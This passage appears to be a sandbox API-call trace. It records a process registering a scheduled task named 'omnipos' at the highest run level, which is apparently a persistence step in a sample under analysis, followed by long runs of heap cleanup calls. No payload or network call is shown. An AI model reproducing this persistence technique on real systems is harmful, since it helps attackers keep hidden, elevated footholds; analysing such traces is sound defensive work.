_Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xb30e32cab8 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0115.383] ITrigger:put_StartBoundary (This=0x29464655ea0, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0115.383] lstrlenW (lpString="") returned 0 [0115.383] lstrlenW (lpString="") returned 0 [0115.383] lstrlenW (lpString="") returned 0 [0115.383] lstrlenW (lpString="") returned 0 [0115.384] IUnknown:Release (This=0x29464655ea0) returned 0x1 [0115.384] IUnknown:Release (This=0x29464655cc0) returned 0x1 [0115.384] ITaskDefinition:get_Settings (in: This=0x29464655970, ppSettings=0xb30e32d040 | out: ppSettings=0xb30e32d040*=0x29464655b40) returned 0x0 [0115.384] lstrlenW (lpString="") returned 0 [0115.384] IUnknown:Release (This=0x29464655b40) returned 0x3 [0115.384] GetLocalTime (in: lpSystemTime=0xb30e32cef8 | out: lpSystemTime=0xb30e32cef8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x26, wMilliseconds=0x2f0)) [0115.384] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0115.385] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xb30e32cf10, nSize=0xb30e32cee8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xb30e32cee8) returned 0x1 [0115.385] ITaskDefinition:get_RegistrationInfo (in: This=0x29464655970, ppRegistrationInfo=0xb30e32cee0 | out: ppRegistrationInfo=0xb30e32cee0*=0x29464655a80) returned 0x0 [0115.385] IRegistrationInfo:put_Author (This=0x29464655a80, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0115.386] _vsnwprintf (in: _Buffer=0xb30e32cf10, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xb30e32cea8 | out: _Buffer="2023-09-19T17:15:38") returned 19 [0115.386] IRegistrationInfo:put_Date (This=0x29464655a80, Date="2023-09-19T17:15:38") returned 0x0 [0115.386] IUnknown:Release (This=0x29464655a80) returned 0x1 [0115.386] malloc (_Size=0x18) returned 0x29464655fc0 [0115.386] free (_Block=0x29464655fc0) [0115.386] lstrlenW (lpString="") returned 0 [0115.386] ITaskDefinition:get_Principal (in: This=0x29464655970, ppPrincipal=0xb30e32d0a8 | out: ppPrincipal=0xb30e32d0a8*=0x29464655d30) returned 0x0 [0115.386] IPrincipal:put_RunLevel (This=0x29464655d30, RunLevel=1) returned 0x0 [0115.386] IUnknown:Release (This=0x29464655d30) returned 0x1 [0115.387] malloc (_Size=0x18) returned 0x29464655fc0 [0115.387] ITaskFolder:RegisterTaskDefinition (in: This=0x294646558f0, Path="omnipos", pDefinition=0x29464655970, flags=6, UserId=0xb30e32d150*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xb30e32d130*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xb30e32d170*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xb30e32d110 | out: ppTask=0xb30e32d110*=0x29464656fd0) returned 0x0 [0115.973] free (_Block=0x29464655fc0) [0115.974] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.974] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0115.974] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0115.974] GetProcessHeap () returned 0x29464740000 [0115.974] GetProcessHeap () returned 0x29464740000 [0115.974] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474abb0) returned 1 [0115.974] GetProcessHeap () returned 0x29464740000 [0115.974] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474abb0) returned 0xe [0115.974] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474abb0) returned 1 [0115.974] GetProcessHeap () returned 0x29464740000 [0115.974] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x82) returned 0x29464765b50 [0115.974] _vsnwprintf (in: _Buffer=0xb30e32d7c0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xb30e32d058 | out: _Buffer="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n") returned 69 [0115.974] __iob_func () returned 0x7ffa7941e210 [0115.974] _fileno (_File=0x7ffa7941e240) returned -2 [0115.974] _errno () returned 0x29464650840 [0115.974] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0115.974] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.974] lstrlenW (lpString="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n") returned 69 [0115.974] GetConsoleOutputCP () returned 0x0 [0115.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0115.974] GetConsoleOutputCP () returned 0x0 [0115.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0115.974] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 69 [0115.975] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0115.975] IUnknown:Release (This=0x29464656fd0) returned 0x0 [0115.975] TaskScheduler:IUnknown:Release (This=0x29464655970) returned 0x0 [0115.975] TaskScheduler:IUnknown:Release (This=0x294646558f0) returned 0x0 [0115.975] TaskScheduler:IUnknown:Release (This=0x29464655740) returned 0x0 [0115.975] lstrlenW (lpString="") returned 0 [0115.975] GetProcessHeap () returned 0x29464740000 [0115.975] GetProcessHeap () returned 0x29464740000 [0115.975] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474acf0) returned 1 [0115.975] GetProcessHeap () returned 0x29464740000 [0115.975] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474acf0) returned 0x1fc [0115.976] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474acf0) returned 1 [0115.976] GetProcessHeap () returned 0x29464740000 [0115.976] GetProcessHeap () returned 0x29464740000 [0115.976] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474aab0) returned 1 [0115.976] GetProcessHeap () returned 0x29464740000 [0115.976] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474aab0) returned 0x16 [0115.976] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474aab0) returned 1 [0115.976] GetProcessHeap () returned 0x29464740000 [0115.976] GetProcessHeap () returned 0x29464740000 [0115.976] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ab10) returned 1 [0115.976] GetProcessHeap () returned 0x29464740000 [0115.976] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ab10) returned 0x18 [0115.976] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ab10) returned 1 [0115.976] GetProcessHeap () returned 0x29464740000 [0115.976] GetProcessHeap () returned 0x29464740000 [0115.976] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b9c0) returned 1 [0115.976] GetProcessHeap () returned 0x29464740000 [0115.976] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b9c0) returned 0x20 [0115.977] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b9c0) returned 1 [0115.977] GetProcessHeap () returned 0x29464740000 [0115.977] GetProcessHeap () returned 0x29464740000 [0115.977] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464744360) returned 1 [0115.977] GetProcessHeap () returned 0x29464740000 [0115.977] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464744360) returned 0xa0 [0115.977] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464744360) returned 1 [0115.977] GetProcessHeap () returned 0x29464740000 [0115.977] GetProcessHeap () returned 0x29464740000 [0115.977] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464744340) returned 1 [0115.977] GetProcessHeap () returned 0x29464740000 [0115.977] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464744340) returned 0x18 [0115.977] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464744340) returned 1 [0115.977] GetProcessHeap () returned 0x29464740000 [0115.978] GetProcessHeap () returned 0x29464740000 [0115.978] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b900) returned 1 [0115.978] GetProcessHeap () returned 0x29464740000 [0115.978] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b900) returned 0x20 [0115.978] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b900) returned 1 [0115.978] GetProcessHeap () returned 0x29464740000 [0115.978] GetProcessHeap () returned 0x29464740000 [0115.978] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464743ba0) returned 1 [0115.978] GetProcessHeap () returned 0x29464740000 [0115.978] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464743ba0) returned 0x9a [0115.978] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464743ba0) returned 1 [0115.978] GetProcessHeap () returned 0x29464740000 [0115.978] GetProcessHeap () returned 0x29464740000 [0115.978] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ac70) returned 1 [0115.979] GetProcessHeap () returned 0x29464740000 [0115.979] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ac70) returned 0x18 [0115.979] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ac70) returned 1 [0115.979] GetProcessHeap () returned 0x29464740000 [0115.979] GetProcessHeap () returned 0x29464740000 [0115.979] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b570) returned 1 [0115.979] GetProcessHeap () returned 0x29464740000 [0115.979] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b570) returned 0x20 [0115.979] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b570) returned 1 [0115.979] GetProcessHeap () returned 0x29464740000 [0115.979] GetProcessHeap () returned 0x29464740000 [0115.979] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464744740) returned 1 [0115.979] GetProcessHeap () returned 0x29464740000 [0115.979] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464744740) returned 0x9c [0115.980] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464744740) returned 1 [0115.980] GetProcessHeap () returned 0x29464740000 [0115.980] GetProcessHeap () returned 0x29464740000 [0115.980] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474aa90) returned 1 [0115.980] GetProcessHeap () returned 0x29464740000 [0115.980] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474aa90) returned 0x18 [0115.980] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474aa90) returned 1 [0115.980] GetProcessHeap () returned 0x29464740000 [0115.980] GetProcessHeap () returned 0x29464740000 [0115.980] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b3f0) returned 1 [0115.980] GetProcessHeap () returned 0x29464740000 [0115.980] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b3f0) returned 0x20 [0115.980] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b3f0) returned 1 [0115.980] GetProcessHeap () returned 0x29464740000 [0115.980] GetProcessHeap () returned 0x29464740000 [0115.980] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ac50) returned 1 [0115.980] GetProcessHeap () returned 0x29464740000 [0115.980] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ac50) returned 0xe [0115.980] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ac50) returned 1 [0115.980] GetProcessHeap () returned 0x29464740000 [0115.981] GetProcessHeap () returned 0x29464740000 [0115.983] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ab70) returned 1 [0115.983] GetProcessHeap () returned 0x29464740000 [0115.983] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ab70) returned 0x18 [0115.983] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ab70) returned 1 [0115.983] GetProcessHeap () returned 0x29464740000 [0115.983] GetProcessHeap () returned 0x29464740000 [0115.983] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464749060) returned 1 [0115.983] GetProcessHeap () returned 0x29464740000 [0115.983] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464749060) returned 0x20 [0115.984] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464749060) returned 1 [0115.984] GetProcessHeap () returned 0x29464740000 [0115.984] GetProcessHeap () returned 0x29464740000 [0115.984] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464749b80) returned 1 [0115.984] GetProcessHeap () returned 0x29464740000 [0115.984] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464749b80) returned 0x208 [0115.984] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464749b80) returned 1 [0115.984] GetProcessHeap () returned 0x29464740000 [0115.984] GetProcessHeap () returned 0x29464740000 [0115.984] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464744520) returned 1 [0115.984] GetProcessHeap () returned 0x29464740000 [0115.984] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464744520) returned 0x18 [0115.984] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464744520) returned 1 [0115.985] GetProcessHeap () returned 0x29464740000 [0115.985] GetProcessHeap () returned 0x29464740000 [0115.985] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464748ee0) returned 1 [0115.985] GetProcessHeap () returned 0x29464740000 [0115.985] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464748ee0) returned 0x20 [0115.985] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464748ee0) returned 1 [0115.985] GetProcessHeap () returned 0x29464740000 [0115.985] GetProcessHeap () returned 0x29464740000 [0115.985] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474bbb0) returned 1 [0115.985] GetProcessHeap () returned 0x29464740000 [0115.985] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474bbb0) returned 0x200 [0115.986] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474bbb0) returned 1 [0115.986] GetProcessHeap () returned 0x29464740000 [0115.986] GetProcessHeap () returned 0x29464740000 [0115.986] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464744410) returned 1 [0115.986] GetProcessHeap () returned 0x29464740000 [0115.986] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464744410) returned 0x18 [0115.986] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464744410) returned 1 [0115.986] GetProcessHeap () returned 0x29464740000 [0115.986] GetProcessHeap () returned 0x29464740000 [0115.986] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464749090) returned 1 [0115.986] GetProcessHeap () returned 0x29464740000 [0115.986] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464749090) returned 0x20 [0115.986] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464749090) returned 1 [0115.986] GetProcessHeap () returned 0x29464740000 [0115.986] GetProcessHeap () returned 0x29464740000 [0115.986] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ac30) returned 1 [0115.986] GetProcessHeap () returned 0x29464740000 [0115.986] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ac30) returned 0x14 [0115.986] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ac30) returned 1 [0115.986] GetProcessHeap () returned 0x29464740000 [0115.987] GetProcessHeap () returned 0x29464740000 [0115.987] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ab90) returned 1 [0115.987] GetProcessHeap () returned 0x29464740000 [0115.987] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ab90) returned 0x18 [0115.987] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ab90) returned 1 [0115.987] GetProcessHeap () returned 0x29464740000 [0115.987] GetProcessHeap () returned 0x29464740000 [0115.987] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464748f40) returned 1 [0115.987] GetProcessHeap () returned 0x29464740000 [0115.987] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464748f40) returned 0x20 [0115.987] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464748f40) returned 1 [0115.987] GetProcessHeap () returned 0x29464740000 [0115.987] GetProcessHeap () returned 0x29464740000 [0115.987] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464743950) returned 1 [0115.987] GetProcessHeap () returned 0x29464740000 [0115.987] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464743950) returned 0x16 [0115.987] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464743950) returned 1 [0115.987] GetProcessHeap () returned 0x29464740000 [0115.987] GetProcessHeap () returned 0x29464740000 [0115.987] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464743930) returned 1 [0115.988] GetProcessHeap () returned 0x29464740000 [0115.988] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464743930) returned 0x18 [0115.988] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464743930) returned 1 [0115.988] GetProcessHeap () returned 0x29464740000 [0115.988] GetProcessHeap () returned 0x29464740000 [0115.988] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464749120) returned 1 [0115.988] GetProcessHeap () returned 0x29464740000 [0115.988] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464749120) returned 0x20 [0115.988] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464749120) returned 1 [0115.988] GetProcessHeap () returned 0x29464740000 [0115.988] GetProcessHeap () returned 0x29464740000 [0115.988] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464744f30) returned 1 [0115.988] GetProcessHeap () returned 0x29464740000 [0115.988] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464744f30) returned 0x2 [0115.988] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464744f30) returned 1 [0115.988] GetProcessHeap () returned 0x29464740000 [0115.988] GetProcessHeap () returned 0x29464740000 [0115.988] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x294647448a0) returned 1 [0115.988] GetProcessHeap () returned 0x29464740000 [0115.988] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x294647448a0) returned 0x20 [0115.989] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x294647448a0) returned 1 [0115.989] GetProcessHeap () returned 0x29464740000 [0115.989] GetProcessHeap () returned 0x29464740000 [0115.989] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x294647448f0) returned 1 [0115.989] GetProcessHeap () returned 0x29464740000 [0115.989] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x294647448f0) returned 0x20 [0115.989] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x294647448f0) returned 1 [0115.989] GetProcessHeap () returned 0x29464740000 [0115.989] GetProcessHeap () returned 0x29464740000 [0115.989] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464744920) returned 1 [0115.989] GetProcessHeap () returned 0x29464740000 [0115.989] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464744920) returned 0x20 [0115.990] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464744920) returned 1 [0115.990] GetProcessHeap () returned 0x29464740000 [0115.990] GetProcessHeap () returned 0x29464740000 [0115.990] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x294647490c0) returned 1 [0115.990] GetProcessHeap () returned 0x29464740000 [0115.990] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x294647490c0) returned 0x20 [0115.990] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x294647490c0) returned 1 [0115.990] GetProcessHeap () returned 0x29464740000 [0115.990] GetProcessHeap () returned 0x29464740000 [0115.991] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b6f0) returned 1 [0115.991] GetProcessHeap () returned 0x29464740000 [0115.991] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b6f0) returned 0x20 [0115.991] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b6f0) returned 1 [0115.991] GetProcessHeap () returned 0x29464740000 [0115.991] GetProcessHeap () returned 0x29464740000 [0115.991] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ac10) returned 1 [0115.991] GetProcessHeap () returned 0x29464740000 [0115.991] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ac10) returned 0xc [0115.991] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ac10) returned 1 [0115.991] GetProcessHeap () returned 0x29464740000 [0115.991] GetProcessHeap () returned 0x29464740000 [0115.991] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b720) returned 1 [0115.991] GetProcessHeap () returned 0x29464740000 [0115.991] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b720) returned 0x20 [0115.992] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b720) returned 1 [0115.992] GetProcessHeap () returned 0x29464740000 [0115.992] GetProcessHeap () returned 0x29464740000 [0115.992] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x294647438f0) returned 1 [0115.992] GetProcessHeap () returned 0x29464740000 [0115.992] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x294647438f0) returned 0x30 [0115.992] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x294647438f0) returned 1 [0115.992] GetProcessHeap () returned 0x29464740000 [0115.992] GetProcessHeap () returned 0x29464740000 [0115.992] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b8a0) returned 1 [0115.992] GetProcessHeap () returned 0x29464740000 [0115.992] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b8a0) returned 0x20 [0115.993] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b8a0) returned 1 [0115.993] GetProcessHeap () returned 0x29464740000 [0115.993] GetProcessHeap () returned 0x29464740000 [0115.993] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x294647447f0) returned 1 [0115.993] GetProcessHeap () returned 0x29464740000 [0115.993] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x294647447f0) returned 0x30 [0115.993] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x294647447f0) returned 1 [0115.993] GetProcessHeap () returned 0x29464740000 [0115.993] GetProcessHeap () returned 0x29464740000 [0115.993] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b840) returned 1 [0115.993] GetProcessHeap () returned 0x29464740000 [0115.993] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b840) returned 0x20 [0115.994] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b840) returned 1 [0115.994] GetProcessHeap () returned 0x29464740000 [0115.994] GetProcessHeap () returned 0x29464740000 [0115.994] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474abf0) returned 1 [0115.994] GetProcessHeap () returned 0x29464740000 [0115.994] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474abf0) returned 0x16 [0115.994] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474abf0) returned 1 [0115.994] GetProcessHeap () returned 0x29464740000 [0115.994] GetProcessHeap () returned 0x29464740000 [0115.994] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b540) returned 1 [0115.994] GetProcessHeap () returned 0x29464740000 [0115.994] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b540) returned 0x20 [0115.994] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b540) returned 1 [0115.994] GetProcessHeap () returned 0x29464740000 [0115.994] GetProcessHeap () returned 0x29464740000 [0115.994] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474a970) returned 1 [0115.994] GetProcessHeap () returned 0x29464740000 [0115.994] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474a970) returned 0x16 [0115.995] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474a970) returned 1 [0115.995] GetProcessHeap () returned 0x29464740000 [0115.995] GetProcessHeap () returned 0x29464740000 [0115.995] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b5a0) returned 1 [0115.995] GetProcessHeap () returned 0x29464740000 [0115.995] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b5a0) returned 0x20 [0115.995] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b5a0) returned 1 [0115.995] GetProcessHeap () returned 0x29464740000 [0115.995] GetProcessHeap () returned 0x29464740000 [0115.995] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464765b50) returned 1 [0115.995] GetProcessHeap () returned 0x29464740000 [0115.995] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464765b50) returned 0x82 [0115.996] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464765b50) returned 1 [0115.996] GetProcessHeap () returned 0x29464740000 [0115.996] GetProcessHeap () returned 0x29464740000 [0115.996] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ba80) returned 1 [0115.996] GetProcessHeap () returned 0x29464740000 [0115.996] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ba80) returned 0x20 [0115.996] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ba80) returned 1 [0115.996] GetProcessHeap () returned 0x29464740000 [0115.996] GetProcessHeap () returned 0x29464740000 [0115.997] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474a950) returned 1 [0115.997] GetProcessHeap () returned 0x29464740000 [0115.997] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474a950) returned 0xe [0115.997] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474a950) returned 1 [0115.997] GetProcessHeap () returned 0x29464740000 [0115.997] GetProcessHeap () returned 0x29464740000 [0115.997] HeapValidate 